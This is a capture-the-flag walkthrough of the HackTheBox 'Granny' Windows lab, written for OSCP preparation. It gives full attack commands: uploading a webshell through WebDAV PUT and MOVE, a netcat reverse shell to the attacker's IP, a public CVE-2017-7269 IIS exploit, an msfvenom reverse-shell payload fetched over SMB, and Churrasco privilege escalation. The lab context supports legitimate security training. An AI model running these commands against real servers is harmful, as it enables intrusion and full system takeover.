HackTheBox — Granny (w/o Metasploit)

11 min readOct 14, 2020

Granny is a realistic Windows challenge and teaches a few good tricks to keep in one’s arsenal. HTB has a similar machine named Grandpa that I’ll cover after this one. As usual, I’m writing these without Metasploit for anyone who is reading this while preparing for the OSCP. We will utilize msfvenom to generate a reverse shell payload, however at the time that this is being written, using msfvenom is still allowed in the OSCP assuming you’re not generating a meterpreter session on more than one machine.

One important thing to point out before we begin is that you might run into an unstable shell with this challenge. In other words, you may get a reverse shell that only lasts about 30 seconds. I found a workaround while going through this that I’ll explain below, but I figured out the actual solution only after acquiring the user and root flags. If you experience an unstable shell, this is an issue with the HackTheBox VPN connection. If you are using the US connection, switch to EU. If you’re using an EU connection and are experiencing this, switch to US. This will give you a stable shell.

Let’s exploit Granny.

Enumeration

We start by scanning this computer using the following line with nmap

nmap -n -sS -sV -O -A -T4 -p-  10.10.10.15

This should run an aggressive (-T4) default TCP SYN scan (-sS) on all ports (-p-), giving us the version of each protocol (-sV) and OS information (-O and -A) while ignoring DNS resolution (-n). Below are the results of this scan with the parts to pay attention to in bold.

root@kali:~# nmap -n -sS -sV -O -A -T4 -p-  10.10.10.15
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-13 10:44 EDT
Nmap scan report for 10.10.10.15
Host is up (0.083s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
| http-methods: 
|_  Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan: 
|   WebDAV type: Unknown
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   Server Date: Tue, 13 Oct 2020 14:54:05 GMT
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|_  Server Type: Microsoft-IIS/6.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2003|2008|XP|2000 (92%)
OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 ...Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   85.66 ms 10.10.14.1
2   86.03 ms 10.10.10.15OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 146.45 seconds

Port 80 is running, so let’s take a look at http://10.10.10.15.

Noting interesting here. We can try running gobuster to see if any interesting subdirectories are available using the command

gobuster dir --url=http://10.10.10.15 --wordlist=
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Nothing useful there either. The initial nmap scan did point out that the server is running WebDAV. This is a protocol that lets users to share, copy, move and edit files through a web server. Let’s see if we can take advantage of this protocol to upload our own files. To do that, we’ll use a tool called davtest by running the following command:

davtest -url http://10.10.10.15

Success! We can’t upload everything, but we can upload text and html files. This is a good start, especially considering that webDAV allows the MOVE method according to the initial nmap scan. This means we should be able to upload a web shell as a text file and MOVE (i.e. rename) it to the right extension.

Exploiting WebDAV

Since this is running IIS, let’s try an aspx webshell. You can create one using msfvenom, but Kali already comes with a handful of webshells available under /usr/share/webshells/. I copied an existing one to my working directory as a text file using the following command:

cp /usr/share/webshells/aspx/cmdasp.aspx ./shell.txt

We can upload this text file using the following curl command:

curl http://10.10.10.15/ --upload-file shell.txt

Let’s check the url http://10.10.10.15/shell.txt to see if it uploaded successfully.

Aspx webshell seen as a text file, uploaded through curl and webDAV

So far so good, now let’s try renaming it using the MOVE command. This can be done with the following curl command:

curl -X MOVE --header "Destination:http://10.10.10.15/shell.aspx" http://10.10.10.15/shell.txt

Now let’s check the url http://10.10.10.15/shell.aspx to see if this worked.

Aspx webshell, uploaded as a .txt file, renamed to a .aspx file using curl and webDAV

The shell.txt file has been successfully renamed to shell.aspx. Let’s see if this will execute a simple command like whoami.

We now have command execution on the server.

We can use the same method that got us this far to upload either a reverse shell executable or netcat. In this case, I uploaded the netcat binary from Kali located at /usr/share/windows-resources/binaries/nc.exe by first copying it into my working directory, renaming it to nc.txt, and then uploading it with the following command:

curl http://10.10.10.15/ --upload-file nc.txt

Like before, once the text file was uploaded I renamed it using the following command:

curl -X MOVE --header "Destination:http://10.10.10.15/nc.exe" http://10.10.10.15/nc.txt

Using our shell.aspx file to check the C:\inetpub\wwwroot directory (this is where IIS typically keeps its web files), we can see nc.exe located there.

With a netcat listener waiting on port 443, can execute this by typing the following command into our webshell:

C:\inetpub\wwwroot\nc.exe -e cmd.exe <your ip> 443

However you may notice at this point that your shell dies after a few seconds. If we were using Metasploit, we could try creating a meterpreter payload with the “set AutoRunScript post/windows/manage/migrate” option on the listener. This would migrate the shell to another existing process that’s likely to stay open (e.g. explorer.exe). But we’re not using Metasploit since this is written for those who are preparing for the OSCP. Their motto is simple — “Try harder”. So let’s try harder. Let’s see what other options we have for a stable shell.

Note: I should point out that trying harder is not a substitute for trying smarter. I proceeded to try other options at this point because I wanted to figure this out on my own before researching the issue. Only after researching this did I realize that switching VPN connections would solve the issue. During the OSCP exam, you’ll have a live operator standing by to help with any technical issues. If you think you’re running into a technical issue, bring it up with them and they’ll let you know if they can help. If they can’t, then it’s likely by design and up to you to figure out a workaround.
Again, this specific instance is HTB-related. Switching from an EU to US connection or US to EU connection will fix this problem.

Exploit v2 for Shell Stability

To find a workaround, I decided to look for an IIS exploit as a possible way in. Looking at searchsploit, we can see a handful of vulnerabilities that match our IIS version. I filtered the version number using this command:

searchsploit iis | grep 6.0

There are a handful of WebDAV-based vulnerabilities, so let’s start at the top. The python file 41738.py (WebDAV ‘ScStoragePathFromUrl’ Remote Buffer Overflow) looks like a good start, but it only executes calc.exe on the victim’s machine. If we google “ScStoragePathFromUrl”, we find an Exploit-DB page listing the CVE as 2017–7269. Googling “CVE-2017–7269 github” brings us to this page: https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

Keep in mind that this is a buffer overflow exploit, so there’s a good chance that IIS will not run properly once this is done. If you’ve experienced the quickly dying shell and need to go this route, be sure to have everything ready. Start your netcat listener and know your IP and port in advance. Otherwise, you’ll likely need to revert the box to try this again.

I cloned the git repository using

git clone https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

and renamed the “iis6 reverse shell” file to “iis6.py” for the sake of simplicity. The syntax to run this exploit is

python iis6.py <target ip> <target port> <local ip> <listening port>

Let’s try running that with a netcat listener waiting on port 443.

The exploit ran successfully and gave us a remote shell that isn’t dying after a few seconds. We know from our original reverse shell that we’re only connecting as nt authority\network service, so let’s see what we can do to reach system level.

Privilege Escalation

With Windows privilege escalation I typically start with very basic manual enumeration. If nothing obvious stands out (e.g. privileges, groups, OS patches), you can use tools like WinPEAS to suggest other options. In this case, let’s start with the following command:

whoami /priv

This looks promising. Now let’s gather some system information using

systeminfo

Let’s review some important details that we’ve found so far.

Granny is running Windows Server 2003
SeImpersonatePrivilege is enabled
We’re currently connected as nt authority\network service

I Googled “windows server 2003 microsoft iis 6.0 privilege escalation using impersonation” and found this Exploit-DB page: https://www.exploit-db.com/exploits/6705

This page mentions using an exploit called “Churrasco” and provides a URL to download and compile it yourself. However if you want to download a pre-compiled .exe file, you can find it by Googling “Churrasco executable”. This should be among the first few results:
https://github.com/Re4son/Churrasco/raw/master/churrasco.exe

Churrasco works by exploiting what’s called a Token Kidnapping vulnerability. To use it, you have to run the executable, then tell it what command to execute. If it works, any command you enter will run at the system level. One way to use this would be to create a new user and add it as an administrator. If RDP was available, this would be a great option. In our case, we’ll be using this to run a reverse shell executable. Running that payload at a system level will give us a reverse shell as “system”.

To do that, we’ll need to create a payload using msfvenom. This can be done with the following command:

msfvenom -p windows/shell_reverse_tcp LHOST=<your ip> LPORT=4444 -f exe > binary.exe

Because we’ve exploited IIS, we can’t use the previous method to upload the churrasco executable or our reverse shell payload anymore. However, we can transfer it using SMB. To do this, we’ll need to start our own smb server on Kali using smbserver.py.

Typing “locate smbserver.py” will give you the location of the file to use. To use it, run the following command:

python3 /usr/share/doc/python3-impacket/examples/smbserver.py name_of_share /path/of/directory/holding/files/

Now that SMB is running and we’ve got our files where we want them, let’s start by copying them over to the target machine. We can do this using the command

copy \\<your ip>\share\churrasco.exe 
copy \\<your ip>\share\binary.exe

with the directory “share” being whatever you replaced “name_of_share” with when starting smbserver.py.

As you can see, we don’t have permission to copy anything to our current location. Let’s create a folder in the C:\ directory and try it there instead.

Now that Granny has both of our executables, let’s run Churrasco.

Doing so shows us the usage syntax (churrasco.exe -d “command”). With a netcat listener waiting on the port that was entered in msfvenom, let’s run our reverse shell payload using the following command:

churrasco.exe -d "C:\shell\binary.exe"

Let’s check netcat to see if this worked.

We now have a system level shell. Unfortunately, it looks like this shell is unstable again, so let’s use our time wisely.

User and Root Flags

We can enumerate the locations of the flags with our stable low privileged shell. Looking at the C:\Documents and Settings\ directory, we see a user name “Lakis” and a folder named “Administrator”. That means the user.txt file must be located at C:\Documents and Settings\Lakis\Desktop\user.txt, and the root.txt file must be located at C:\Documents and Settings\Administrator\Desktop\root.txt. We can have these two file paths copied and ready to go for the limited amount of time that our shells remain open.

Final Thoughts

If all you’re after are the flags, then this is the quickest and dirtiest way to go. However you’ll likely run into limited and unstable shells in future challenges and should get comfortable with finding ways to work around them to allow for further enumeration at the system/root level. Sometimes these are a technical issue, other times they’re by design to make you think a little harder. Either way, remember to use your time wisely. Give one method a certain amount of time, and move on if it doesn’t work. Come back to it later if you have to. If you think it’s a technical issue, you can always contact support or research what others have written.

In this case, this appears to be an issue with the HackTheBox vpn connection. Again, if you are using the US connection, switch to EU. If you’re using EU and experiencing this, switch to US. This will fix the problem.